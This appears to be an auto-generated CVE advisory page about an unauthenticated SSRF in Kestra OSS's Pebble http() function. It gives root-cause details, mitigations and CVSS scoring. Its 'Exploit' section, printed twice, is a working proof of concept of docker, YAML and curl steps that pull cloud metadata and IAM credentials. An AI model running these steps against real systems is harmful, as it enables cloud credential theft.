Kestra OSS, Server-Side Request Forgery (SSRF), CVE: Not Provided (HIGH) -DC-Sep2026-2436

Listen to this Post

The vulnerability is an unauthenticated Server-Side Request Forgery in Kestra OSS.
It exists in the Pebble template engine http() function.

The root cause is core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java.

Lines 77-106 pass user-controlled URLs to URI.create().

There is no URL validation before the request.

There is no check for private IP ranges.

Missing checks include 10.0.0.0/8.

Missing checks include 192.168.0.0/16.

Missing checks include 169.254.169.254.

Missing checks include 127.0.0.1.

There is no host restriction for internal services.

There is no scheme restriction.

Schemes like file:// are not blocked.

Schemes like gopher:// are not blocked.

No authentication is required for the vulnerable path.

TenantValidationFilter.java only checks tenant == “main”.

That check does not authenticate the attacker.

HttpFunction is registered unconditionally.

Registration occurs in Extension.java:180.

No feature flags guard the function.

An attacker can create a malicious Flow YAML.

The YAML uses {{ http(uri=’http://169.254.169.254/latest/meta-data/’, method=’GET’) }}.

The attacker imports the flow through the API.

The import endpoint is /api/v1/main/flows/import.

The attacker executes the flow.

The execution endpoint is /api/v1/main/executions/company.team/ssrf_metadata.

The server-side request reaches internal services.

It can reach AWS EC2 metadata.

It can reach GCP and Azure metadata endpoints.

It can reach localhost services.

Output may include ami-id, instance-type, and IAM credentials.

CVSS 3.1 score is 8.6 HIGH.

Vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.

CWE is CWE-918.

Affected are all Kestra OSS default deployments.

DailyCVE Form:

Platform: Kestra OSS
Version: All default
Vulnerability : Pebble http() SSRF
Severity: High
date: Not provided

Prediction: Unknown

What Undercode Say:

Analytics

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java
lines 77-106
URI.create()
TenantValidationFilter.java
tenant == "main"
Extension.java:180
HttpFunction

Exploit: (Educational Purposes!)

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1:

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2:

curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3:

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4:

flow execution output contains AWS EC2 metadata
ami-id
instance-type
IAM credentials if available

Protection: from this CVE

  • Upgrade when patch available.
  • Block private IP ranges.
  • Block 10.0.0.0/8.
  • Block 192.168.0.0/16.
  • Block 169.254.169.254.
  • Block 127.0.0.1.
  • Restrict file:// scheme.
  • Restrict gopher:// scheme.
  • Require authentication.
  • Disable http() if unused.
  • Add egress filtering.
  • Validate user URLs.

Impact:

  • CVSS 3.1: 8.6 HIGH.
  • AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
  • CWE: CWE-918.
  • Affected: All Kestra OSS versions.
  • Default deployment affected.
  • Internal services accessible.
  • Cloud metadata accessible.
  • AWS metadata accessible.
  • GCP metadata accessible.
  • Azure metadata accessible.
  • Localhost endpoints accessible.
  • Cloud credential theft possible.
  • Potential escalation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top